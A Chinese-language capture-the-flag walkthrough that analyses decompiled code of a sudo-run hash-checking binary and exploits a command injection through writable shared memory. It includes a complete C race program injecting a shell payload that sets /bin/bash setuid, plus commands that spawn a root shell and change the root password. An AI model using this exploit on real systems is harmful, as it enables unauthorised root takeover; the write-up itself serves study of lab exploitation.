if ( !pipechar_location_shm_ptr )
{
puts("Malformed data in the shared memory.");
ERROR_NO_HASHFLAG_FOUND:
if ( shmdt(haystack) == -1 )
perror("shmdt");
unsetenv("MYSQL_PWD");
goto ERROR_NO_SHM_MEMORY;
}
database_hash = trim_bcrypt_hash(pipechar_location_shm_ptr + 1);
if ( setenv("MYSQL_PWD", db_pass, 1) )
{
perror("setenv");
shmdt(haystack);
v8 = 0;
}
else
{
command_buffer = snprintf(
0LL,
0LL,
"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'",
db_user,
db_name,
database_hash);
command = (char *)malloc(command_buffer + 1);
if ( command )
{
snprintf(
command,
command_buffer + 1,
"mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'",
db_user,
db_name,
database_hash);
stream = popen(command, "r");
if ( stream )
{
if ( fgets((char *)(v5 + 32), 256, stream) )
{
pclose(stream);
free(command);
v22 = strchr((const char *)(v5 + 32), 10);
if ( v22 )
{
if ( *(_BYTE *)(((unsigned __int64)v22 >> 3) + 0x7FFF8000) != 0
&& ((unsigned __int8)v22 & 7) >= *(_BYTE *)(((unsigned __int64)v22 >> 3) + 0x7FFF8000) )
{
__asan_report_store1(v22);
}
*v22 = 0;
}
ptr = strdup((const char *)(v5 + 32));
if ( ptr )
{
v9 = (_BYTE *)(v5 + 32);
if ( *(_BYTE *)(((v5 + 32) >> 3) + 0x7FFF8000) != 0
&& (char)((v5 + 32) & 7) >= *(_BYTE *)(((v5 + 32) >> 3) + 0x7FFF8000) )
{
__asan_report_load1(v5 + 32);
}
if ( *v9 )
printf("User will be notified via %sn", (const char *)(v5 + 32));
free(ptr);
v8 = 1;
}
else
{
puts("Failed to allocate memory for result string");
shmdt(haystack);
v8 = 0;
}
}
else
{
puts("Failed to read result from the db");
pclose(stream);
free(command);
shmdt(haystack);
v8 = 0;
}
}
else
{
puts("Failed to execute MySQL query");
free(command);
shmdt(haystack);
v8 = 0;
}
}
else
{
puts("Failed to allocate memory for command");
shmdt(haystack);
v8 = 0;
}
}
memset((void *)(((v5 + 32) >> 3) + 2147450880), 248, 32);
if ( v8 == 1 )
goto ERROR_NO_HASHFLAG_FOUND;
ERROR_NO_SHM_MEMORY:
if ( v24 == (char *)v5 )
{
*(_QWORD *)((v5 >> 3) + 0x7FFF8000) = 0LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8008) = 0LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8010) = 0LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8018) = 0LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8020) = 0LL;
*(_DWORD *)((v5 >> 3) + 0x7FFF8028) = 0;
}
else
{
*(_QWORD *)v5 = 1172321806LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8008) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8010) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8018) = 0xF5F5F5F5F5F5F5F5LL;
*(_QWORD *)((v5 >> 3) + 0x7FFF8020) = 0xF5F5F5F5F5F5F5F5LL;
*(_DWORD *)((v5 >> 3) + 0x7FFF8028) = -168430091;
**(_BYTE **)(v5 + 504) = 0;
}
return v25 - __readfsqword(0x28u);
}
该函数前半部分的重点在第41 - 73
行。在第41 - 47
行,程序通过shmget()
和shmat()
函数连接了之前创建的共享内存空间,随后,使用强制类型转换获取了保存在共享内存内的哈希值字符串。接着,在第58
行,通过strstr
函数获取了如下字符串在整个哈希字符串内的首字母索引值:
Leaked hash detected
然后对函数返回值执行判断,若返回空值则报错退出。
在第64
行,又使用strchr
函数,获取了哈希值字符串内<
号的指针pipechar_location_shm_ptr
。若该值为空,则报错退出。
在函数下半部分,又调用了trim_bcrypt_hash
函数,传入值为指针pipechar_location_shm_ptr
。查看其内容:
发现该函数首先会循环判断当前指针对应字符串是否同时满足条件:不等于空格且不等于大于号。若符合,则退出循环,否则将pipechar_location_shm_ptr
指针首部索引值加1
。随后,会清除字符串末尾的垃圾字符,并将其返回。
回到notify_user()
继续分析。在第83 - 100
行内,发现了命令执行敏感操作。程序首先将trim_bcrypt_hash
结果存到了database_hash
变量内,随后使用db_user
、db_name
和database_hash
三个变量,格式化如下进行数据库查询的Linux
系统命令:
mysql -u {db_user} -D {db_name} -s -N -e 'select email from teampass_users where pw = "{database_hash}"'
接着就使用popen()
函数执行了此条命令:
执行完成后,就输出结果返回main()
函数。当notify_user()
执行完毕后,程序就删除了共享空间并退出了进程。
Sudo check_leak命令注入提权
纵观整个check_leak
程序,我们似乎没有可以直接从命令行处控制的变量。但由于在Linux
中,程序创建的共享内存可以被任何进程自由读取和写入,因此我们可以控制程序创建的共享内存并注入恶意命令。
在实际操作中,每次运行该程序,程序生成的共享内存地址值都不一样,因此我们可以编写一个不断循环根据当前时间戳生成共享内存地址值,连接该地址并注入恶意命令的程序。这样一来,当我们事先在后台运行恶意程序,随后执行check_leak
程序时,程序在该时刻生成的共享内存地址值一定和同一时刻恶意程序生成的值相同。当check_leak
程序成功向共享内存写入哈希值并睡眠1
秒时,恶意程序就会重新向共享内存写入恶意命令。这样一来,当check_leak
的notify_user()
函数执行时,恶意命令就会被格式化到mysql
查询命令内并被执行。
首先,我们需要确定注入到共享内存中的内容:
Leaked hash detected at >';chmod 4755 /bin/bash;echo '
随后在靶机上编写如下程序:
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdbool.h>
#include <sys/types.h>
int main() {
int shmid;
int timestamp;
char *shm_ptr;
unsigned long shm_addr;
while(true) {
timestamp = time(0LL);
srand(timestamp);
shm_addr = rand() % 0xFFFFF;
shmid = shmget(shm_addr, 0x400uLL, 950);
if (shmid == -1) {
printf("[-] Failed to create shared memory!n");
continue;
}
printf("[*] Shared Memory Address: %xn", shm_addr);
shm_ptr = (char *)shmat(shmid, 0LL, 0);
if ( shm_ptr == (char *)-1LL ) {
printf("[-] Error on opening an shared memory!n");
continue;
}
snprintf(shm_ptr, 0x400uLL, "Leaked hash detected at >';chmod 4755 /bin/bash;echo '");
printf("[+] Malicious command injected!n");
shmdt(shm_ptr);
}
return 0;
}
随后编译该程序,在后台运行,接着执行check_leak.sh
,指定获取bob
用户名哈希,触发恶意命令:
gcc inject.c -o inject.elf
./inject.elf > ./inject.log &
sudo /opt/hash-checker/check-leak.sh bob
修改/bin/bash
权限成功!!直接修改root
密码并切换用户:
/bin/bash -p
python3 -c "import os;os.setuid(0);os.setgid(0);os.system('echo 'root:Asd310056' | chpasswd')"
exit
su -
提权成功!!!!